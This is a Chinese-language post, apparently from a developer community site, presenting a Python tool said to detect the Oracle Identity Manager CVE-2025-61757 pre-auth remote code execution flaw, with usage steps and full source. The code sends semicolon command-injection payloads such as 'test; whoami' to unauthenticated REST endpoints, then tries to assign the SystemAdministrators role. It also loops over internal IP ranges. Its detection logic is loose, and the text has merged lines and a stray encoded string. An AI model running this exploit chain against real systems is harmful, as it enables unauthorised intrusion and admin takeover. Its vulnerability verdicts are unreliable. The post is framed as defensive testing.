
一个专门针对 Oracle Identity Manager(Oracle Fusion Middleware)CVE-2025-61757 漏洞的预授权远程代码执行(Pre-auth RCE)检测工具。该工具通过多线程模糊测试,快速识别未打补丁的脆弱实例,帮助安全团队在攻击者利用前发现并修复风险。
;分号注入技术,验证命令执行回显本项目仅依赖 requests 库,使用以下命令快速安装:
pip install requestsgit clone https://github.com/your-repo/cve-2025-61757-detector.git
cd cve-2025-61757-detectorpython cve-2025-61757.py http://target-ip:port示例:
python cve-2025-61757.py http://192.168.1.100:14000工具运行后将产生以下关键输出:
日志级别 | 输出信息 | 含义 |
|---|---|---|
|
| 开始扫描 |
|
| 发现漏洞 — 目标存在预授权RCE |
|
| 完全利用链可行 — 可未授权提升为管理员 |
|
| 目标已修补或无法访问 |
# 批量检测内网OIM服务器
for ip in 192.168.1.{100..120}; do
python cve-2025-61757.py http://$ip:14000
done# 补丁安装前后分别执行
python cve-2025-61757.py https://oim-prod.company.com
# 补丁前:显示 VULNERABLE
# 补丁后:显示 Auth required (patched?) 或 401class CVE202561757Tester:
"""
CVE-2025-61757 漏洞检测器核心类
实现预授权命令注入检测与权限提升链验证
"""
def __init__(self, base_url):
# 初始化目标URL和HTTP会话
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False # 仅用于实验室环境,忽略SSL证书
self.vulnerable = False
# 关键REST端点 - 均无需认证即可访问(漏洞特征)
self.endpoints = [
'/identity/rest/v1/users', # 用户创建/枚举
'/identity/rest/v1/admin', # 管理员操作
'/identity/rest/v1/roles', # 角色操作
]
# 分号注入Payload - 利用URL解析缺陷
self.payloads = [
{'userLogin': 'test; whoami', 'firstName': 'PoC', 'lastName': 'Test'},
{'userLogin': 'test; id', 'firstName': 'CVE', 'lastName': '61757'},
{'userLogin': f'test; date +%s', 'firstName': 'Advanced', 'lastName': 'Probe'},
]def test_endpoint(self, endpoint, payload):
"""
向目标端点发送Payload并检测命令执行回显
返回值: (是否成功, 响应详情)
"""
url = f"{self.base_url}{endpoint}"
try:
# 发送POST请求,携带JSON格式的命令注入Payload
resp = self.session.post(url, json=payload, timeout=10)
# 漏洞判定逻辑:
# 1. 状态码为200/201(成功创建资源)
# 2. 响应中包含用户ID(userLogin)或命令执行结果(whoami/id等)
if resp.status_code in [200, 201] and (
'uid' in resp.text or
'userLogin' in resp.text or
any(cmd in resp.text.lower() for cmd in ['whoami', 'id', 'date'])
):
return True, resp.text[:200] # 返回部分响应内容供分析
elif resp.status_code == 401:
return False, "Auth required (patched?)" # 需要认证 → 已修补
else:
return False, f"Unexpected: {resp.status_code}"
except Exception as e:
return False, str(e) # 网络错误或连接超时def fuzz_user_creation(self):
"""
多线程用户创建接口模糊测试
针对不同Payload和端点组合进行并发探测
"""
logger.info("🔍 Fuzzing user creation for auth bypass...")
for payload in self.payloads:
for endpoint in self.endpoints:
success, details = self.test_endpoint(endpoint, payload)
if success:
self.vulnerable = True
logger.warning(
f"🚨 VULNERABLE! Endpoint: {endpoint}, "
f"Payload: {payload['userLogin']}, Response: {details}"
)
# 提示手动清理测试账号
logger.info("💡 Clean up: Delete user 'test' via OIM admin UI")def chain_escalation(self):
"""
权限提升链验证
如果基础注入成功,进一步测试能否将测试用户提升为系统管理员
"""
if not self.vulnerable:
return
logger.info("🔗 Testing escalation chain (create user -> assign admin role)...")
# 攻击链:创建用户 → 通过/roles端点分配管理员角色
role_payload = {
'roleName': 'SystemAdministrators',
'userLogin': 'test; whoami' # 尝试在角色分配时再次执行命令
}
success, details = self.test_endpoint(
'/identity/rest/v1/roles/assign',
role_payload
)
if success:
logger.critical(
"💥 Full chain possible! Admin role assigned without auth."
)def run_scan(self):
"""
主扫描流程控制
1. 启动多线程模糊测试
2. 等待所有线程完成
3. 尝试权限提升链
4. 输出最终报告
"""
logger.info(f"🛡️ Testing {self.base_url} for CVE-2025-61757...")
start = time.time()
# 为每个端点启动独立线程,实现并发测试
threads = []
for i in range(len(self.endpoints)):
t = threading.Thread(target=self.fuzz_user_creation)
threads.append(t)
t.start()
# 等待所有线程完成
for t in threads:
t.join()
# 如果基础注入成功,尝试权限提升
self.chain_escalation()
elapsed = time.time() - start
status = "VULNERABLE - PATCH IMMEDIATELY! 🔥" if self.vulnerable else "Likely SAFE (or firewalled) ✅"
logger.info(f"Scan complete in {elapsed:.2f}s: {status}")
if self.vulnerable:
logger.error("📋 Next: Apply Oct 2025 CPU, restrict /identity/rest/* to trusted IPs.")if __name__ == "__main__":
# 简单的命令行参数处理
if len(sys.argv) != 2:
print("Usage: python cve-2025-61757_advanced_test.py http://your-oim-host:14000")
sys.exit(1)
# 初始化检测器并执行扫描
tester = CVE202561757Tester(sys.argv[1])
tester.run_scan()本工具仅用于授权的安全测试。在未经授权的系统上使用此工具进行探测属于违法行为。请在您拥有所有权或已获得明确书面授权的系统上使用。
受影响的Oracle Identity Manager版本:12.2.1.4.0 和 14.1.2.1.0。Oracle已在2025年10月关键补丁更新(CPU)中修复此漏洞,请立即更新。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4H6M6scNPsL/RnkF0e+cHt
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。